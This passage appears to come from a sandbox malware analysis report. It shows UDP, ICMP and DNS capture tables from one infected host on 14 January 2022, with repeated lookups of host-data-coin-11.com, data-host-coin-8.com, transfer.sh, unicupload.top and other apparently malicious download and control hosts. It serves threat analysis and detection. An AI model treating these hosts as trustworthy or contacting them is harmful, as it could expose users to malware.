Jan 14, 2022 04:59:46.470891953 CET	62595	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:46.490119934 CET	53	62595	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:46.680732965 CET	51189	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:46.702827930 CET	53	51189	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:47.018752098 CET	49967	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:47.036506891 CET	53	49967	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:47.208081961 CET	51454	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:47.227461100 CET	53	51454	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:47.393491983 CET	57163	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:47.410892963 CET	53	57163	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:50.497632027 CET	56360	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:50.517072916 CET	53	56360	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:50.683773041 CET	49258	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:50.702513933 CET	53	49258	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:50.875883102 CET	56195	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:50.894743919 CET	53	56195	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:51.042114019 CET	53021	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:51.061510086 CET	53	53021	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:51.220155954 CET	52618	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:51.239556074 CET	53	52618	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:54.191374063 CET	64383	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:54.210815907 CET	53	64383	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:54.357472897 CET	50346	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:54.374965906 CET	53	50346	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:54.527290106 CET	50281	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:54.852350950 CET	53	50281	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:56.675244093 CET	56328	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:56.692734957 CET	53	56328	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:56.848815918 CET	56921	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:56.868699074 CET	53	56921	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:57.050348997 CET	59529	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:57.069597006 CET	53	59529	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:58.553850889 CET	64853	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:58.570993900 CET	53	64853	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:58.746254921 CET	56317	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:58.765391111 CET	53	56317	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:59.226322889 CET	51570	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:59.245784998 CET	53	51570	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:59.460711956 CET	53663	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:59.480294943 CET	53	53663	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:59.640183926 CET	60070	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:59.659004927 CET	53	60070	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:59.863010883 CET	58750	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:59.880700111 CET	53	58750	8.8.8.8	192.168.2.3
Jan 14, 2022 05:00:00.027681112 CET	60727	53	192.168.2.3	8.8.8.8
Jan 14, 2022 05:00:00.046947002 CET	53	60727	8.8.8.8	192.168.2.3
Jan 14, 2022 05:00:04.050385952 CET	63753	53	192.168.2.3	8.8.8.8
Jan 14, 2022 05:00:04.069551945 CET	53	63753	8.8.8.8	192.168.2.3
Jan 14, 2022 05:00:12.784190893 CET	52312	53	192.168.2.3	8.8.8.8
Jan 14, 2022 05:00:12.806410074 CET	53	52312	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2022 04:59:16.383752108 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable
Jan 14, 2022 04:59:19.384167910 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable
Jan 14, 2022 04:59:25.384391069 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 04:58:57.936820030 CET	192.168.2.3	8.8.8.8	0xbd88	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:58.421669006 CET	192.168.2.3	8.8.8.8	0x1002	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:58.599421024 CET	192.168.2.3	8.8.8.8	0x60cf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:59.036449909 CET	192.168.2.3	8.8.8.8	0x7c36	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:59.492367029 CET	192.168.2.3	8.8.8.8	0xeae6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:59.987896919 CET	192.168.2.3	8.8.8.8	0xc5a0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:01.657037973 CET	192.168.2.3	8.8.8.8	0x5aa8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:01.822875977 CET	192.168.2.3	8.8.8.8	0xb998	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:02.000912905 CET	192.168.2.3	8.8.8.8	0x7937	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.080883026 CET	192.168.2.3	8.8.8.8	0xa003	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.270278931 CET	192.168.2.3	8.8.8.8	0x7652	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.438930035 CET	192.168.2.3	8.8.8.8	0x93e2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.772653103 CET	192.168.2.3	8.8.8.8	0x3dc9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.322487116 CET	192.168.2.3	8.8.8.8	0x4db7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.836077929 CET	192.168.2.3	8.8.8.8	0x9fe1	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.903516054 CET	192.168.2.3	8.8.8.8	0x5e60	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.080219984 CET	192.168.2.3	8.8.8.8	0x19ef	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.586293936 CET	192.168.2.3	8.8.8.8	0x9734	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.756551981 CET	192.168.2.3	8.8.8.8	0x4516	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.931622028 CET	192.168.2.3	8.8.8.8	0x6f90	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.417393923 CET	192.168.2.3	8.8.8.8	0x1054	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.583241940 CET	192.168.2.3	8.8.8.8	0xfd6d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.807693005 CET	192.168.2.3	8.8.8.8	0x2b7f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.978353024 CET	192.168.2.3	8.8.8.8	0xa8c6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.136306047 CET	192.168.2.3	8.8.8.8	0xe5e9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.308692932 CET	192.168.2.3	8.8.8.8	0xa452	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.480348110 CET	192.168.2.3	8.8.8.8	0xb6cf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.673835993 CET	192.168.2.3	8.8.8.8	0xe8b0	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:15.852540970 CET	192.168.2.3	8.8.8.8	0x57ee	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:16.019736052 CET	192.168.2.3	8.8.8.8	0x2449	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:16.194268942 CET	192.168.2.3	8.8.8.8	0x90d1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.402025938 CET	192.168.2.3	8.8.8.8	0x31e3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.569633961 CET	192.168.2.3	8.8.8.8	0x5d04	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.741621017 CET	192.168.2.3	8.8.8.8	0xa153	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.911159039 CET	192.168.2.3	8.8.8.8	0x3a0d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:38.119282007 CET	192.168.2.3	8.8.8.8	0x2ad0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:38.310786009 CET	192.168.2.3	8.8.8.8	0x4cfc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:38.826169968 CET	192.168.2.3	8.8.8.8	0xbd9c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.012763023 CET	192.168.2.3	8.8.8.8	0x6eb0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.222218990 CET	192.168.2.3	8.8.8.8	0x8dbc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.409629107 CET	192.168.2.3	8.8.8.8	0x5518	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.579499006 CET	192.168.2.3	8.8.8.8	0x6941	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.776551008 CET	192.168.2.3	8.8.8.8	0x7b12	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.972970009 CET	192.168.2.3	8.8.8.8	0xbaa6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:40.140419006 CET	192.168.2.3	8.8.8.8	0xeab0	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:41.762509108 CET	192.168.2.3	8.8.8.8	0x2fb9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:41.929316998 CET	192.168.2.3	8.8.8.8	0x31c7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.097152948 CET	192.168.2.3	8.8.8.8	0x2946	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.619268894 CET	192.168.2.3	8.8.8.8	0x5a61	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.788170099 CET	192.168.2.3	8.8.8.8	0x7801	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.007805109 CET	192.168.2.3	8.8.8.8	0x4677	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.185044050 CET	192.168.2.3	8.8.8.8	0x588c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.508315086 CET	192.168.2.3	8.8.8.8	0x1aef	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.717730045 CET	192.168.2.3	8.8.8.8	0xad97	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.931668043 CET	192.168.2.3	8.8.8.8	0x2957	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:46.271538019 CET	192.168.2.3	8.8.8.8	0xd604	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:46.470891953 CET	192.168.2.3	8.8.8.8	0x3e52	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:46.680732965 CET	192.168.2.3	8.8.8.8	0xe48b	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:47.018752098 CET	192.168.2.3	8.8.8.8	0xd2df	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:47.208081961 CET	192.168.2.3	8.8.8.8	0xf415	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:47.393491983 CET	192.168.2.3	8.8.8.8	0xa9e5	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:50.497632027 CET	192.168.2.3	8.8.8.8	0x7758	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:50.683773041 CET	192.168.2.3	8.8.8.8	0x8e87	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:50.875883102 CET	192.168.2.3	8.8.8.8	0x2acc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:51.042114019 CET	192.168.2.3	8.8.8.8	0xdd66	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:51.220155954 CET	192.168.2.3	8.8.8.8	0x307e	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:54.191374063 CET	192.168.2.3	8.8.8.8	0x3fcd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:54.357472897 CET	192.168.2.3	8.8.8.8	0x3a36	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:54.527290106 CET	192.168.2.3	8.8.8.8	0x81d	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:56.675244093 CET	192.168.2.3	8.8.8.8	0x762b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:56.848815918 CET	192.168.2.3	8.8.8.8	0xe43c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:57.050348997 CET	192.168.2.3	8.8.8.8	0x5ec5	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:58.553850889 CET	192.168.2.3	8.8.8.8	0x3149	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:58.746254921 CET	192.168.2.3	8.8.8.8	0x5336	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.226322889 CET	192.168.2.3	8.8.8.8	0x8753	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.460711956 CET	192.168.2.3	8.8.8.8	0x71e1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.640183926 CET	192.168.2.3	8.8.8.8	0xad75	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.863010883 CET	192.168.2.3	8.8.8.8	0x7f0f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:00.027681112 CET	192.168.2.3	8.8.8.8	0x7d46	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:04.050385952 CET	192.168.2.3	8.8.8.8	0xca23	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:12.784190893 CET	192.168.2.3	8.8.8.8	0xc7e2	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 14, 2022 04:58:58.250190973 CET	8.8.8.8	192.168.2.3	0xbd88	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:58.442079067 CET	8.8.8.8	192.168.2.3	0x1002	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:58.886639118 CET	8.8.8.8	192.168.2.3	0x60cf	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:59.337162971 CET	8.8.8.8	192.168.2.3	0x7c36	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:58:59.808490038 CET	8.8.8.8	192.168.2.3	0xeae6	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:00.296633005 CET	8.8.8.8	192.168.2.3	0xc5a0	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:01.674735069 CET	8.8.8.8	192.168.2.3	0x5aa8	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:01.842137098 CET	8.8.8.8	192.168.2.3	0xb998	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:02.288902044 CET	8.8.8.8	192.168.2.3	0x7937	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.100373983 CET	8.8.8.8	192.168.2.3	0xa003	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.289714098 CET	8.8.8.8	192.168.2.3	0x7652	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:04.458097935 CET	8.8.8.8	192.168.2.3	0x93e2	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.100713968 CET	8.8.8.8	192.168.2.3	0x3dc9	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.676515102 CET	8.8.8.8	192.168.2.3	0x4db7	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.857112885 CET	8.8.8.8	192.168.2.3	0x9fe1	No error (0)	unicupload.top	54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:05.924907923 CET	8.8.8.8	192.168.2.3	0x5e60	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.419181108 CET	8.8.8.8	192.168.2.3	0x19ef	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.605556011 CET	8.8.8.8	192.168.2.3	0x9734	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:06.777210951 CET	8.8.8.8	192.168.2.3	0x4516	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:07.219146013 CET	8.8.8.8	192.168.2.3	0x6f90	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.436482906 CET	8.8.8.8	192.168.2.3	0x1054	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.602279902 CET	8.8.8.8	192.168.2.3	0xfd6d	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.827039957 CET	8.8.8.8	192.168.2.3	0x2b7f	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:10.997534037 CET	8.8.8.8	192.168.2.3	0xa8c6	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.155534029 CET	8.8.8.8	192.168.2.3	0xe5e9	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.328099966 CET	8.8.8.8	192.168.2.3	0xa452	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.499604940 CET	8.8.8.8	192.168.2.3	0xb6cf	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.696434975 CET	8.8.8.8	192.168.2.3	0xe8b0	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.696434975 CET	8.8.8.8	192.168.2.3	0xe8b0	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.696434975 CET	8.8.8.8	192.168.2.3	0xe8b0	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.696434975 CET	8.8.8.8	192.168.2.3	0xe8b0	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:13.696434975 CET	8.8.8.8	192.168.2.3	0xe8b0	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:15.869771957 CET	8.8.8.8	192.168.2.3	0x57ee	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:16.038958073 CET	8.8.8.8	192.168.2.3	0x2449	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:16.211462021 CET	8.8.8.8	192.168.2.3	0x90d1	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.419707060 CET	8.8.8.8	192.168.2.3	0x31e3	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.588934898 CET	8.8.8.8	192.168.2.3	0x5d04	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.763266087 CET	8.8.8.8	192.168.2.3	0xa153	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:37.928505898 CET	8.8.8.8	192.168.2.3	0x3a0d	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:38.136437893 CET	8.8.8.8	192.168.2.3	0x2ad0	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:38.649342060 CET	8.8.8.8	192.168.2.3	0x4cfc	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:38.845807076 CET	8.8.8.8	192.168.2.3	0xbd9c	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.032780886 CET	8.8.8.8	192.168.2.3	0x6eb0	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.241664886 CET	8.8.8.8	192.168.2.3	0x8dbc	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.427237034 CET	8.8.8.8	192.168.2.3	0x5518	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.598696947 CET	8.8.8.8	192.168.2.3	0x6941	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.795768023 CET	8.8.8.8	192.168.2.3	0x7b12	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:39.992176056 CET	8.8.8.8	192.168.2.3	0xbaa6	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:40.159840107 CET	8.8.8.8	192.168.2.3	0xeab0	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:41.781734943 CET	8.8.8.8	192.168.2.3	0x2fb9	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:41.948843002 CET	8.8.8.8	192.168.2.3	0x31c7	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.118859053 CET	8.8.8.8	192.168.2.3	0x2946	No error (0)	goo.su	172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.118859053 CET	8.8.8.8	192.168.2.3	0x2946	No error (0)	goo.su	104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.638514042 CET	8.8.8.8	192.168.2.3	0x5a61	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:42.807667017 CET	8.8.8.8	192.168.2.3	0x7801	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.027211905 CET	8.8.8.8	192.168.2.3	0x4677	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.204377890 CET	8.8.8.8	192.168.2.3	0x588c	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.525659084 CET	8.8.8.8	192.168.2.3	0x1aef	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:43.737229109 CET	8.8.8.8	192.168.2.3	0xad97	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:44.219611883 CET	8.8.8.8	192.168.2.3	0x2957	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:46.291184902 CET	8.8.8.8	192.168.2.3	0xd604	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:46.490119934 CET	8.8.8.8	192.168.2.3	0x3e52	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:46.702827930 CET	8.8.8.8	192.168.2.3	0xe48b	No error (0)	a0621298.xsph.ru	141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:47.036506891 CET	8.8.8.8	192.168.2.3	0xd2df	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:47.227461100 CET	8.8.8.8	192.168.2.3	0xf415	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:47.410892963 CET	8.8.8.8	192.168.2.3	0xa9e5	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:50.517072916 CET	8.8.8.8	192.168.2.3	0x7758	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:50.702513933 CET	8.8.8.8	192.168.2.3	0x8e87	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:50.894743919 CET	8.8.8.8	192.168.2.3	0x2acc	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:51.061510086 CET	8.8.8.8	192.168.2.3	0xdd66	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
